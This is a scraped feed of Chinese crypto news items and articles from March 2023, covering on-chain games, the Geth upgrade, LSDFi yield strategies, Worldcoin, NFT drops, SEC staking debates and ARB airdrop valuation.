短期来说，全链游戏的发展仍面临诸多困难，例如将计算与存储全部移植于链上的技术难度、社区是否有足够能力与责任去接手游戏、除去垂直玩家能否吸引更多流量等，这些都需要更长时间的发展。而如果站在一个超长期的角度，全链游戏无疑会拥有更旺盛的生命力。 未来的全链游戏，将诞生出众多创新的核心玩法，并有可能为 DeFi 乃至传统游戏提供设计灵感；由于开发、运营实体与治理者之间可分离，全链游戏的资产可以实现真正意义上的所有权；有机会脱离开发运营实体的全链游戏，其生命周期或许会和 DAO 治理结合地更为紧密；而终有一天，全链游戏的开发引擎与套件足够成熟时，普通玩家或许也能有机会利用它们实现自己心中独特的想法。 参考资料 https://naavik.co/deep-dives/forte-blockchain-infrastructure https://mp.weixin.qq.com/s/bzHMXrtTLsvciiUEEMoqzQ https://volt.capital/blog/the-future-of-on-chain-gaming https://www.guiltygyoza.xyz/2022/08/game2-in-schematics https://0xparc.org/blog/procgen https://newsletter.banklesshq.com/p/the-promises-of-blockchain-gaming https://blog.zkga.me/announcing-darkforest https://blog.zkga.me/introducing-dark-forest-lobbies https://k.mirror.xyz/oAFPZSQohqF3qlTBbk4Mati9FWm9F6YlkaNVUq_cJuI https://medium.com/id-theory/pureplay-on-chain-games-74169a38484a  ( 7 min )
    以太坊客户端Geth发布v1.11.5版本，以能在4月13日启用上海主网升级
    PANews 3月21日消息，Go Ethereum发布以太坊客户端Geth v1.11.5版本（Erszbat），Geth v1.11.5将在UTC时间4月12日22:27:35（北京时间4月13日06:27:35）启用上海主网升级。 此前3月16日消息，以太坊主网将于4月12日进行上海（Shapella）升级。  ( 4 min )
    某黑客向2400个私钥泄露地址发送以太坊并授权ARB合约，企图抢先领取ARB空投
    PANews 3月21日消息，加密数据公司Arkham在推特上表示：“被Nansen标记为 Arbitrum Airdrop Exploiter的黑客地址在过去12小时内向大约2400个私钥泄露的地址发送以太坊作为gas费，并提前授权ARB合约，准备抢先领取ARB空投。”  ( 4 min )
    LSDFi War不断升温，详解产生超额收益的5种策略
    撰文：waynezhang.eth LSDFi 是基于 LSD 的 DeFi 产品，通过 LSD，质押者可以将质押的 ETH 转化为一种可以交易的资产，从而解锁流动性，且 LSD 也降低了用户质押 ETH 的门槛，任意数量即可质押，并能在质押后获得 LSD，同时可利用 LSD 带来多份收益。 LSDFi 背后是 DeFi 乐高，而 DeFi 组合性的背后是收益乐高，新入场者将通过贿赂 / 获取第三方代币或者利用自有代币进行激励，然后激励用户质押 ETH/LSD 到自己的平台，从而吸取市场份额以及 LSD 掌控权。部分 LSDFi 项目利用可变的激励乘数或者动态收益率来激励用户质押在小的去中心化质押平台来获取 LSD，从而达到验证者更加去中心化的目的。 以下是 LSDFi 的五种形式： 上海升级之前，LSD 不能直接兑换成 ETH，所以很多 DeFi 建立相应 LSD-ETH 流动性池，以 stETH 来看，基础收益没有超过 5% 的，基本方法都是用 Token 补贴提高 APY，此刻质押者除了获得质押 ETH 获得的网络奖励，还可以获得 LP 费用奖励。个人认为由于 LSD 基数增加，上海升级结束后 LP 规模可能不减反增。 2.循环借贷（收益 10%+） 通过 AAVE 和 LIDO 的 STETH 对以太坊合并后的主网激活进行了数十亿的杠杆对赌。 清算风险有点高，这个 APR 得看大家循环了几次，理论上借贷协议都可以做，而且会有自动循环借贷产品出现。 3.Yield（10%+） Yearn Finance 在 Curve 做了流动性池，可以将 LSD APY 提高到 5.89%，可选择直接质押 stETH，目前池子价值 1640 万美元，类似的老项目比较多，通过聚合多个平台的收益 + 补贴来增加收益。 Yearn 代表的老牌 DeFi 想要插手 LSD 行业也侧面反映了 LSD 赛道的重要性。 4.EigenLayer（收益未知） EigenLayer 提供多种质押方式，包括类似于 Lido 的流动性质押（Liquid Staking）以及超流动性质押（Superfluid Staking），其中超流动性质押可以允许 LP 对的质押，具体而言：   5.激励性 LSDFi 项目 通过杠杆，结构化策略，期权，债券衍生品等提高资本效率，或者利用极高的 APY 吸引储蓄或者达到其他目的。 Pendle：一个 DeFi 收益协议，用户可以在其中执行各种收益管理策略，做衍生品起家，提供 ETH、APE、LOOKs 等质押服务及流动性池。简单来讲现价 1800 美元的 ETH，你可以 1600 美元买，差价 10% 就是你的收益（需要锁定 466 天），同时还有通过添加流动性获取收益。 其流动性池收益目前是在在 Lido 或 Aura 上建立池子，锁定一定时间后会获得经过 Pendle 补贴后的收益。目前收益比较可观，折扣价格（一年左右锁定期）是在 12.5%，而放入 Pool 中的年化收益是在 95.7% 左右，但注意，高 APY 绝大部分是由 PENDLE 代币形式补贴。 Ion Protocol：项目未上线。原理是将 LSD 代币和可抵押资产代币化为 allETH 和 vaETH。allETH 是 ERC-20 代币，1 ETH = 1 allETH。vaETH 跟踪 allETH 头寸赚取的所有收益。 项目也将借用 EigenLayer 等进行 LSD 收益聚合，目前还没有披露更多信息。处于早期项目，Twitter 关注数：266，Discord：38。 unshETH：通过激励的动态分配提高验证者去中心化程度的协议，简单讲就是给市场份额低的 LSD 更高的奖励，给 Lido、Coinbase 这种头部 LSD 平台的 LSD 质押后奖励会少，这样大家会因为高额奖励选择去小份额平台质押 ETH，从而达到促进中心化的目的。 目前 unshETH 只支持 sfrxETH、rETH、wstETH、cbETH，距离自己的去中化目标还很远： 直接质押需要一定的锁定期限，需要将 LSD/ETH 质押到平台兑换成为 unshETH，质押 unshETH 会获得约 500% 的收益，代币还可进一步质押获得约 70% 的收益，LP Pool 目前深度约 58 万美元，组 LP 的手续费收入是 60%，如果质押在平台，会获得 666%+ APY 激励。但我还没找到代币的更多效用，但我觉得如果他能采取 veToken，将自己的奖励乘数由 USH DAO 决定会更容易实现自己的目标。 LSDx Finance：LSDx Finance 的目标是在 LSD 资产细分市场（例如 stETH、FrxETH 和 rETH）成为像 Curve 这样具有高壁垒的 DEX，有效地占领 LSD 资产流动性的市场份额。它采用了类似于 GMX 的 GLP 架构，并建造了统一流动性池：ETHx，并计划推出稳定币 UM。 48 小时锁定量 5.5 万枚 ETH，2 天增加了 8000 关注，代币上了 Bitget、MEXC，今天公布由 Foresight Ventures 投资，可以看出团队的充足准备。 目前支持的 LSD 数量也比较少，且功能未全部开发完成，还有很大期待空间，请注意 16 日之后的 14 天将是创世挖矿阶段，奖励将于 4 天后第一次减半： Liquid Staking Derivatives：一个通过对存入的资产进行代币化和发行衍生代币来解决流动性问题并最大化资产的杠杆作用的 LSD 聚合器。用户质押 ETH 或 LSD 获得代币奖励，奖励代币 LSD 可用于 veLSD 的治理决策或 LS-ETH 的流动性 DEFI 风险投资，自愿锁定 LSD 的社区成员将获得质押的 ETH 奖励的乘数。 直接质押 ETH 得到 LS-ETH 可以获得 6.3% 的 APR。官网显示只有 1.24 ETH 质押，非常早期。LSD 流动性池建在 Uniswap V2 上，价值 40 万美元左右，FDV：568 万美元。 Stader Ethereum：ETH 产品暂未上线。之前在其他链做流动性质押，即将发布 ETHx。 用户存入 ETH 时，Stader Pools Manager 将铸造 ETHx 作为回报，并将 ETH 存入三种不同的池子中（各个池相当于一个验证节点只不过技术不同：个人 4 ETH 运营，DVT 技术支持，合作运营商）。ETHx 预计将与包括 Aave、Balancer、Qi Dao 等 30+ DeFi 协议合作，释放可组合性。 要运行一个节点，每个验证者必须存入 4 ETH 和价值 0.4 ETH 的 SD 代币作为抵押品（最多质押 8 ETH 的 SD）。为了激励节点运营商，Stader 将在第一年为验证者发放价值约 100-200 万美元的 SD 代币。节点还可以从其他用户奖励中获得 5% 的佣金。 Hord：质押 ETH 获得 LSD hETH。奖励会在质押池中累积，随着时间的推移会增加 hETH 的价值。并且项目通过多种途径实现了更高的 APR： 目前 APY 17.9%，质押数 223.22 ETH，质押者 57 个，FDV 1280 万美元。 Parallax Finance：提供流动性基础设施，使个人、DAO 和其他协议能够在 L2（目前仅上线 Arbitrum） 上产生收益。目前处在测试阶段，使用需要获取 Tester 资格。关于 LSDFi，其产品 Supernova 除了能给予用户质押奖励，还给质押资产提供杠杆与借贷服务（暂未发币，可以申请测试资格）。 bestLSD：测试网即将开始，个人感觉这是一个 Real Yield 聚合器，利用聚合得来的 Real Yield 补贴自己的 LSD——bestETH。从 GMX 到 GLP，从 veCRV 到 veVELO，所有能产生强劲实际收益的资产都在团队的考虑范围之内，目前无论是 Doc 还是网站都比较简单。 0xAcid DAO： 最大化 LSD 资产回报的管理协议，即将上线 Arbitrum 和 Ethereum。主要策略如下图，将大部分资产放在稳定的节点上，一部分放入高收益策略比如有 token 补贴的 Frax、Aura LP Pool，今日宣布了与 Pendle 合作进行收益杠杆化，并且自己有借贷、LP 等服务，更多可以点击这里。 代币价格：1296.95 美元，FDV：948 万美元； TVL：4800 ETH； ETH 收益（以债券形式）：13.6% 折扣价； wstETH：11.54%-29.73%； esACID：3432.36%-10297.10%（非常高）； EigenLayer：Engenlayer 已经提到过了，这里要说的是一些潜在的 DeFi 乐高可能性： Index Coop：Set Protocol 发起的去中心化加密货币指数社区。主要发行两款 LSDFi 相关产品： Gitcoin：与 Index Coop 合作推出的 Gitcoin Staked ETH Index（gtcETH），gtcETH 的收益来自于用户质押的 ETH/LSD/USDC 在各自策略池中的收益，Gitcoin 和 Index Coop 会从中收分走 2%，Gitcoin 的的 1.75% 将用于公共物品捐赠，这也让我们看到了新的效用场景，目前供应量：113.85 枚 ETH。 总结 激励性 LSDFi 类型的很多项目都在争一个话语权：谁能拿到更多的 LSD，这将直接决定他们未来的合作项目数以及搭建在其上的 DeFi 乐高。与很多 DeFi 细分行业类似，可能最后几个玩家留到最后，同时 Lido 主导者的地位也可能遭到破坏； 策略的稳定性是 LSDFi 项目的矛和盾，而收益目前只能做矛，高收益可能带来可持续性问题，但高收益可能会是很长一段时间的常态，未来，100%+ APY 并不是很高； 什么策略更适合，仅从收益上讲，质押在 Top 3 之外的 Liquidity Stkaking Provider ，比如 frxETH，先利用 Frax 的收益补贴拿到 10% 收益，然后寻找利用激励促进验证中心化的项目，比如 unshETH，LSDx 这种 APY 几百 + 的进行挖矿，然后高点直接卖，继续下一个。当然如果你善于利用借贷协议，APY 实际可能提高到 1000%+（但是风险很大，容易搞没自己的的 ETH）； LSDfi 对于验证者的影响还很小，LP + 代币补贴是目前的主流，但 LSD War 后期会实际增加验证的去中心化程度； LSDFi 项目之间有很多合作空间，比如 0xACID 与 Pendle 合作，未来可组合性搭配下，可能会形成各收益层级的产品：从 4%-500%+ 中划分各个风险与收益等级； LSD War 已经开始，这场战争可能会持续至以太坊的质押率稳定在 25%+，为什么是 25%，因为以太坊不同于其他生态，质押对于大部分人性价比不会很高，即便有 LSDFi 激励。以后我们再对这个 25% 数据进行详细介绍。  ( 8 min )
    韩国歌手权志龙明日将在OpenSea发售NFT系列“Archive of PEACEMINUSONE”
    PANews 3月21日消息，据OpenSea官方推特，韩国流行乐歌手权志龙将在OpenSea平台发售其基于BNB Chain的NFT系列“Archive of PEACEMINUSONE”。该NFT系列是权志龙的原画的拼图，代表了PEACEMINUSONE (PMO, 权志龙创建的品牌)的身份，并融合了权志龙生活和个人发展的私密细节。每个持有者都将获得：1.能够订购印有拼图的商品；2.实物证书；3.访问由PEACEMINUSONE创建的拼图游戏。一些幸运的持有者还有可能获得：演唱会门票、周边商品、带有权志龙亲笔签名和涂鸦的实物证书。 本周的铸造是OpenSea三次drop中的第一次，但它们在价格、稀缺性和优势方面各不相同。Drop详情：1.3月21日，共计13,444枚NFT，铸造价格为88美元；2.4月22日，共计1,888枚NFT，铸造价格为288美元；3.4月29日，654枚NFT，铸造价格为488美元。 不过根据OpenSea页面更新，该系列首次公开铸造开启具体时间为北京时间3月22日11:00，铸造价格为0.27 BNB。  ( 4 min )
    万物研究院：OpenAI创始人要向10亿人空投的Worldcoin是什么？
    作者｜万物研究院 陈剑Jason 随着OpenAI的ChatGPT发布后掀起了一波AI热潮，但与此同时OpenAI创始人Sam正在谋划另一起也会发生在上半年的Crypto热潮：WorldCoin。 作为ChatGPT和WorldCoin这两个世界级项目背后的男人，Sam也被誉为下一个要接棒埃隆马斯克的科技领袖，今天为大家解读WorldCoin这个尚不为人知的项目。 Worldcoin 是由Sam成立于2020年的Crypto项目，期望打造全球化金融公平与普惠的开源协议，根据麦肯锡全球研究院的报告所说，目前有超过 44 亿人没有合法身份或者无法通过数字方式来验证身份，Worldcoin的愿景是建设一个全球最大的、公平的数字身份和数字货币体系，它通过扫描地球上每个人眼球的虹膜实现身份认证，目前已经扫描了数百万人的眼球。 Worldcoin 正处于测试阶段，预计2023年上半年上线主网，正在以30亿美元的估值融1.2亿美元，它背后有两个主体：Worldcoin 基金会和 Tools for Humanity，Worldcoin 基金会用于支持和发展 Worldcoin 生态与社区建设，Tools for Humanity 是一家技术公司，旨在确保更公正的经济体系，也是 Worldcoin 实际的开发主体。 Worldcoin 主要有三部分任务，创建一个全球身份ID、一种全球货币和一个承载身份ID与货币的钱包。可以使用自己的Token以及其他数字资产和传统货币进行支付、购买和转账，这三部分任务对应着三个要素： 乍一看好像也平平无奇，就是我们常见的生态三件套：DID、Token和钱包，但是深度研究下来会感受到其背后所构建的宏大愿景和为之付出要解决的技术难题。 WorldCoin想打造一个全球每个人无论是谁均可以参与不断发展的数字经济，并从去中心化的集体所有权中受益，第一步就是要让尽可能多的人持有相同的Token，集体持有和使用同一种Token越多形成网络效应后，该Token对每个参与者的用处就越大，所以WorldCoin要为全球10亿人进行空投，从而快速的扩张自己的金融网络。 但若想迈出第一步，首先要解决的就是女巫攻击问题，女巫攻击即一个人控制多个地址来完成获利的行为，说到这里刚好补充一个很有趣的小知识，我之前一直不明白为啥叫女巫攻击这个奇怪的名字呢，这个命名方式来自于1973年的一本小说《女巫》，书中有一个叫女巫的女人被诊断为精神分裂，有16个人格，所以一个人控制了16个“人”，这么说是不是立马就形象的明白了。 这段时间Arbitrum的空投成为了一众撸毛工作室的狂欢，但也让如何预防女巫攻击再次成为行业热议的话题，互联网本身已经充斥着真假难辨的身份，但好歹注册所需的手机号和邮箱还是不那么容易获得的，但是Web3没有KYC后钱包地址可以被极其便捷的创造，导致虚假账号泛滥，所以Token分配的公平性是一定要解决的首要问题，必须要确保地球上的每个人只能在其网络里注册一个钱包，就在各家都在探讨DID、数据分析等手段时，Worldcoin直接采用第一性原理，不就是需要验证这个钱包地址背后是真人吗？那一步到位直接活人验证！就问Sam有没有马斯克的风范和接棒资格哈哈 Worldcoin为此定制开发了一套生物识别设备Orb，通过扫描虹膜来验证一个人的独特性，同时通过零知识证明确保被验证者的隐私 Orb是一个球状的硬件设备，它扫描到人眼的虹膜图像后，会在本地通过单向函数生成一个IrisHash值作为唯一标识，形式上是一个简短的数字代码，然后在数据库中进行检索，从而可以检查该人是否已经注册，如果没有将完成注册并免费获得空投，每个人可以领取25个Token，这个过程无需存储和上传原始图像，也不需要其他的个人信息，所以会严格保护用户的隐私。 关于Orb的具体技术细节可以看这篇文章，可以看出Worldcoin在这方面的投入非常大。 https://worldcoin.org/blog/engineering/opening-orb-look-inside-worldcoin-biometric-imaging-device 其实生物识别技术已经非常的成熟，包括人脸识别、指纹识别、DNA测试等，但是Worldcoin选择虹膜的原因主要是考虑到唯一性、防欺诈和性能，虹膜比人脸和指纹更难伪造，以及考虑到要为10亿人空投，不论是人脸识别的数据库比对难度还是DNA测试难度，虹膜的性能更有优势。 Worldcoin会在全球各地招募运营商，要求必须是本地注册的合法企业，并且在条款中明确说不会提供服务给居住在美国等其他具有法律限制国家的居民，所以可见Worldcoin对于合规性非常重视，毕竟要采集本国居民的生物信息，这在任何一个国家都非常敏感。 其实生物识别技术已经非常的成熟，包括人脸识别、指纹识别、DNA测试等，但是Worldcoin选择虹膜的原因主要是考虑到唯一性、防欺诈和性能，虹膜比人脸和指纹更难伪造，以及考虑到要为10亿人空投，不论是人脸识别的数据库比对难度还是DNA测试难度，虹膜的性能更有优势。 然后企业申请成为运营商后，Worldcoin团队会进入审核面试流程，包括KYC、合规培训、运营地区后，提供一套Orb设备就可以开始工作了，由运营商去完成本地用户的科普和扫描工作，每完成注册后运营商都会获得Token奖励，这个打法大家是不是非常熟悉？五年前百团大战的地推战术哈哈，所以假设Worldcoin真进驻中国后，感觉美团将会成为最大的运营商。 Worldcoin 的总供应量是100 亿个，绝大多数将提供给通过用户和运营商，为了激励早期贡献者，用户和运营商每次注册收到的Token数量将随着时间的推移而减少，Token总供应量的不到 20% 将用于资助 Orb 的早期核心开发者们，3 %将分配给持续的生态建设中。 目前已经有四大洲130万人完成了扫描注册，其中单葡萄牙就已经超过1%的人口完成了注册，我也经常听到不少朋友给我提到葡萄牙对Crypto的开放程度，看来果真如此。 值得注意的是Worldcoin目前与以太坊生态关联非常紧密，从文档中可以看到它采用了以太坊的optimistic rollup，继承了以太坊的账户匿名和交易公开特性，并且SDK内置了跨链能力可以与以太坊主网、其他Layer2如Optimism和Arbitrum甚至非EVM兼容链Solana和Polkadot，整体的结构图如下所示： 因为Worldcoin要采集数十亿人的生物数据，所以很多人会下意识的产生恐慌，但要注意的是Worldcoin上的账户和交易永远不会和Orb的任何生物数据进行关联，虹膜扫描仅用于人格验证，并且仅在本地生成的单向不可逆的IrisHash传入数据库，即使数据库泄漏了，也无法得知每个IrisHash背后的真实身份，所以Worldcoin的Orb仅仅只用于验证这是一个唯一的人，至于是谁则无需知道。 一个全新的用户获得Worldcoin分为两个阶段 阶段一：注册和检测唯一性 阶段二：认领Worldcoin 作为一家全球性货币，Worldcoin也必须要逐步的实现去中心化，主要分为治理、开发和运营三部分。 以上就是对Worldcoin的解读，整体看下来我还是感到非常兴奋，它如果顺利落地将会成为世界级数字公民的基础设施，构建世界数字货币实现金融普惠，但同样Worldcoin面临着极其大的推行压力，如上文所说不论是数字身份、数字货币还是更为敏感的生物信息收集，这在任何一个强主权国家都是很抵触的，所以目前Worldcoin绝大多数用户都是第三世界国家。 以上内容由万物研究院Jason撰写，不具备投资建议，不代表官方立场。  ( 4 min )
    数据：黄立成今日以72 ETH均价承接逾120枚Cryptopunks抛售
    PANews 3月21日消息，据Blur行情数据显示，中国台湾歌手黄立成地址（0x020c开头）今日以约72 ETH均价承接多名Cryptopunks巨鲸抛售的逾120枚Cryptopunks，总金额超过8980 ETH（约合1560万美元）。 此外，黄立成今日也以约70 ETH均价售出32枚Cryptopunks，还持有96枚 Cryptopunks，已实现和未实现浮亏达742 ETH（约合128万美元）。Cryptopunks地板价目前已从75 ETH跌至65 ETH。  ( 4 min )
    BitMEX：展望加密市场，未来几个月可能遇到的 3 种情景
    加密货币交易平台BitMEX 概述了未来几个月加密货币行业可能出现的三种情况。 该公司认为美联储很可能在年底前停止加息，引发资金流入全球资本市场和避险资产。在这种情况下，比特币和以太坊等加密货币可能会受益。 根据 BitMEX 的数据，美联储很可能会在2023 年下半年放慢加息步伐或完全停止加息，甚至在年底前开始降息。目前，这一比例为4.75%，上一次出现这一数字是在 2008 年金融危机期间。 BitMEX首席执行官斯蒂芬·卢茨 (Stephan Lutz)认为，各国央行别无选择，只能尽快放弃激进的加息策略，否则，该政策可能会导致“实体经济活动进一步下滑”。 该公司认为，加息政策的修正可能会推动市场复苏并提高对加密货币领域的兴趣，因为投资者可能会寻求风险较高的资产以寻求更高的回报。随着加密货币行业吸取了 2022 年的教训（尤其是三箭资本、FTX 和 Genesis 等实体的教训）并摆脱了经营不善，我们应该会看到优质资产迅速健康反弹，比如比特币和以太坊。 BitMEX 表示，尽管这种可能性很低，但由于担心可能出现滞胀，美联储将在 2023 年以后继续加息的风险已经存在。 据估计，这样的决定将阻止投资者对包括加密货币在内的各种资产类别的兴趣，并将促使加密货币行业陷入低迷： “如果滞胀确实在 2023 年发生，它将削弱企业和消费者信心，损害散户和机构投资者对包括加密货币在内的一系列资产类别的兴趣。” 这种“意外情况”可能会导致比特币价格暴跌至 5,000 美元，而大多数投资者可能会关注黄金等“历史悠久的避风港”。 回想一下，比特币在毁灭性的 2022 年末之后表现出令人印象深刻的卷土重来，其价值最近涨至约28,000 美元（自 1 月 1 日以来飙升近 70％）。 因此，即使基本面强劲的加密货币能够抵御危机并像其他资产类别一样成功反弹，但这些资产也会遭受周期性的低迷。 BitMEX 坚持认为，2023 年加密货币行业可能会出现多项技术的发展，修复遗留问题，并将加密货币转变为风险较低的资产类别。 “我们预计监管机构将在 2023 年继续接受这项技术及其带来的优势，政府最高层将进行讨论，加密货币将比以往任何时候都受到政策制定者的更多关注。” 意识到数字资产的广泛利益和用例，各国的监管机构可以联合起来建立一个国际监管框架，为投资者提供最大程度的保护，同时允许该行业蓬勃发展和创新。 “除此之外，随着该行业从危机中崛起，拥有一批拥有合法商业模式的强大参与者，人们对去中心化金融世界的兴趣只会增加。与过去几年相比，这将有助于提供一系列风险相对较低的投资选择，”BitMEX 补充道。 该公司预计许多西方国家将以某种方式加入加密货币的潮流。而中国继续发展 CBDC，这可能会带给中国一个深入数字革命的机会。俄罗斯、泰国、香港和许多其他国家也表示有意推出其法定货币的数字化版本。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 4 min )
    Coinbase CLO再次呼吁美SEC澄清质押服务不是证券，并在执法前与公众接触
    PANews 3月21日消息，Coinbase首席法务官Paul Grewal在推特上表示：“今天，Coinbase向我们在2022年7月写的SEC规则制定请愿书提交了评论信。我们解释了为什么核心质押服务不是证券发行，并要SEC澄清核心质押服务不是证券这一事实。” Grewal称核心质押服务未能通过Howey测试的每一个分支，并重申了支持这一论点的几个论据，包括质押服务不构成金钱投资、质押服务不符合Howey的“普通企业”分支、质押服务不符合Howey的“合理的利润预期”要素、以及质押服务不会根据“他人的努力”支付奖励。 Grewal表示：“这不是SEC第一次不得不实时应对快速发展的技术。SEC可以采取多种途径而不是强制执行，包括明确声明规则3a-4版本中的语言意味着质押服务不涉及证券发行。股权证明是区块链技术的一项重要发展，世界不会等待美国弄清楚它要做什么。如果美国不发挥领导作用，行业就会转移到能发挥作用的地方——即使那些地方缺乏美国市场标准。SEC在尚未完成必要的工作时就开始执法。它没有(1)确定证券法可以解决的问题、(2)让公众参与、(3)征求专家意见、(4)描述其行动的经济影响或(5)解释好处。现在做这件事还为时不晚。但SEC需要与公众接触，并使用其监管工具为行业提供清晰度。我们随时准备提供帮助。”  ( 4 min )
    解读社交元宇宙Oasis Origin：接入GPT4技术，打造新型社交
    作者：Maverick 编辑：Colin Wu 本文涉及项目与吴说无合作与利益关联，内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规。 近日由 CyberConnect 与 BNB Chain 合办的 Web3 社交黑客松公布了最终获奖的 23 个团队，其中基于 CyberConnect 生态的元宇宙社交应用程序 Oasis Origin 获得了该比赛的头等奖。 Oasis 官方称超过拥有来自 130 多个国家超 1000 万的用户注册，可在手机、VR 和网页端上访问。其中，Oasis Origin 为 Oasis 的链上版本，用户可以在该平台上建立 Web3 的社交关系。每位用户通过连接钱包进入 Oasis Origin 并完成注册，都会得到一个免费的专属 SBT ，个人的链上朋友关系也将通过 CyberConnect 自动整合到 Oasis Origin 内。 在传统的社交媒体平台上，用户在使用陌生人社交平台无法通过直观的观察了解对方；当社交关系趋于成熟时，熟人社交可能因为不同社交平台功能的分散导致社交的场景也受限。Oasis Origin 则提供了一个可供陌生人社交与熟人社交像切换的平台。 Oasis Origin 一共分为三部分，即世界、广场和俱乐部。 在 Oasis Origin 的“世界“中，用户可以选择场景创建房间又或者加入“世界”中其他的房间与陌生人进行语音聊天、KTV 娱乐、游戏。如果附上 YouTube 或其他视频链接，还可以实现与房间内用户一起看电影或直播，甚至在该元宇宙中举办小型音乐节。这样一来，用户便可以与陌生人快速建立友谊甚至是亲密关系，并增加建立社交关系过程中的趣味性。由 iPollo 提供支持的“广场”部分为工作相关的活动提供了一个企业或组织的大型互动空间，举行例如产品发布会、 AMA 会议和社区交流等活动，为各种项目推出专属空间，包括赛博广场，以支持项目团队举办更具沉浸感和互动性的大规模社区活动。此外，Oasis Origin 允许用户创建个人“俱乐部”。与“世界”和“广场”不一样，这些房间的是预定的、私密的，用户加入个人俱乐部需要获得管理者得同意。“俱乐部”在 Oasis Origin 相当于私人频道，用户可以在该场景下进行社交不受陌生人干扰，为用户打造一个只有熟人或正在形成熟人关系的社交场景。 Oasis Origin 通过世界、广场和俱乐部等三种模式，不仅能为用户提供了公共社交，也可以打造了一个私密场所。 与文字、图片、视频等传统的社交方式不同，Oasis Origin 的用户社交是构建在元宇宙之上，不仅满足了年轻一代对于 VR 和移动设备登入端偏好，还可以选择不同的场景如虚拟电影院、虚拟湖泊或是虚拟居家室等进行社交活动，像近期大火的线上狼人杀、鹅鸭杀等游戏社交场景也可以搬到 Oasis Origin 上开展。除此之外，Oasis Origin 还为用户提供个性化、定制化的展示机会，这让网络用户的展示实现了从扁平化形象向立体化形象的转变，用户可以在 Oasis Origin 参与创作、建设、经营自己偏好的自我或其他与自己相关的外在形象。 首先用户可以建立自己的虚拟形象，通过对服饰、头饰、捏脸等方式进一步调节和优化符合自己想表达的外表形象。在建立和优化自己的虚拟形象过程中，用户还可以使用游戏内的金币保存自己喜爱的形象并铸造成为 NFT，发送到自己的钱包中保存。其次，用户还可以领养自己宠物，根据自己的喜好领养包括缅因、加菲等品种的猫。当个人出现在 Oasis Origin 不同元宇宙社交场景中时，该宠物也会跟随在主人身旁展示给其他在场的用户。宠物也可以在没有真人对话时与主人进行日常交谈或玩耍消解玩家可能存在的孤独感。除此之外，Oasis Origin 通过允许在“俱乐部”中通过 DIY 定制主题、家具、灯光、游戏和音乐等更多加个性化表达的活动吸引更多 Z 世代进入 Oasis Origin 进行社交。 Oasis Origin 在近期接入了 GPT4 的 API ，力图打造一个与 AI 共存的元宇宙。用户既可以成为“ AI 个体”当成社交主体，也可以与 AI 客体直接进行社交行为。一方面，Oasis Origin 推出了 AI 替代自我（AIAS，AI Alter-Self）功能。通过 AIAS 对用户的对话、行为等进行学习和模仿，打造出一个与用户相似的元宇宙个体，即使用户未来不再登录 Oasis Origin，这位数字孪生的个体也会继续留存在平台上进行社交活动。另一方面，平台推出通过 GPT4 训练出来的 AI NPC，可以根据用户的行为模式产生需求。随着训练的增加，这些 AI NPC 可以产生与真人用户相近的效果，除了可以增加氛围，还可以在真实玩家非活跃时间断直接作为替代社交对象进行交流。 除了上述内容外，Oasis Origin 还推出多个吸引的功能确保用户的留存。用户也可以像传统图文社交媒体一样进行订阅，在 Oasis Origin 中的用户既可以成为类似某位 WhatsApp 等私域里用户的熟人好友，也可以成为类似 Twitter 、Facebook 等公域里众星捧月的 KOL，也可以像在现实生活中与好友进行 UNO 卡牌、跳舞、打台球、扔飞镖等游戏行为等活动。 目前 Oasis Origin 打造的社交元宇宙已有雏形，不过仍处于十分早期的阶段，也应该注意即便像 Meta 花费大量资金打造出来的元宇宙社交平台 Horizon Worlds ，所产生的效果也是远不如预期。归根结底，元宇宙期望的成功仍然是，能否形成一种类似于《我的世界》、《塞尔达传说》这种低门槛、高自由度的交互体验，并提供建立平等社交关系的机会，这也许才是对用户长久吸引力的关键。  ( 5 min )
    Arbitrum原生代币ARB空投发放在即，如何为其估值？
    作者| Decrypt Nivesh Rustgi 编译| PANews 3月16日，Arbitrum基金会宣布原生代币ARB将于3月23日空投给符合条件的社区成员钱包。随着代币空投时间临近，如何评估ARB代币的价值也成为了社区关注的重点。 分析师认为，由于Optimism和Arbitrum都有相似的Layer2网络技术堆栈（Optimism使用OptimisticRollups，并于2022年4月推出了原生代币），所以可以基于Optimism原生代币OP估值作为参考。 1、代币流通供应量估值 根据Coingecko数据显示，截至3月20日Optimism市值约为8.39亿美元，OP代币定价约为2.63美元，流通供应量为3.148亿美元。相比之下，本周四空投完成后将会有12.75亿枚ARB代币流入市场，由于ARB代币总供应量为100亿枚，意味着市场流通量约占总供应量的12.75%。 代币流通供应量市值有多少枚代币会在市场上交易，不包括锁定分配的代币，而代币市值则是将代币价格乘以流通供应量来计算得出的。如果ARB代币估值与OP代币相似，可以将当前OP代币市值（约8.39亿枚）除以ARB代币流通供应量（12.75亿枚），继而得出ARB的潜在价格约为0.65美元。 2、完全摊薄估值 除了按照代币流通供应量进行估算之外，还有另一种完全摊薄估值 (FDV)方式。还是以Optimism为例，当前OP代币总供应量约为42.9亿枚，OP代币完全摊薄估值约为114.5亿美元（基于代币总供应量的估值）。 代币完全摊薄估值是将代币市场价格乘以总供应量来计算得出，由于这种方式考虑到未来某个日期解锁的代币，因此这种估值方式比基于流通供应量估算市值更具前瞻性。如果ARB代币的完全摊薄估值方式与Optimism相似，那么估算出来的ARB代币价格大概在1.15美元左右——用OP代币的完全摊薄价值（114.5亿美元）除以ARB代币的总供应量（100亿枚）得出。 鉴于Arbitrum将会在DeFi领域发挥重要作用，使用总锁仓量（TotalValueLocked）也可以提供更多信息，锁仓量代币DeFi协议网络中存入的资金总量，是一个评估DeFi生态系统流动性的指标。 根据DeFiLlama数据显示，Arbitrum是锁仓量第四大的链，当前约为17.7亿美元。其他区块链锁仓量方面，以太坊以291亿美元的规模排名第一，Tron和BSC分别以53亿美元和47.9亿美元位列第二和第三位，Optimism锁仓量约为9.824亿美元。 基于锁仓量，我们可以通过一个名为“TVL比率”的指标对ARB代币进行估值，TVL比率是通过将锁仓量除以两个项目（比如Arbitrum和Optimism）进行计算，以衡量两个生态系统中的流动性相对强度。 按照计算规则，Arbitrum和Optimism的“TVL比率”值为1.8（17.7/9.8），如果将这个数字乘以上述基于流通量估值和完全摊薄估值得出的代币价格，可以分别得出ARB代币估值约为1.16美元和2.07美元。 总体而言，根据上述估值分析，ARB代币的交易价格很可能在0.64美元到2.07美元，大多数早期Arbitrum用户将会分配到625枚ARB代币，相当于他们可以获得的空投ARB代币价值约在400美元到1,250美元之间。 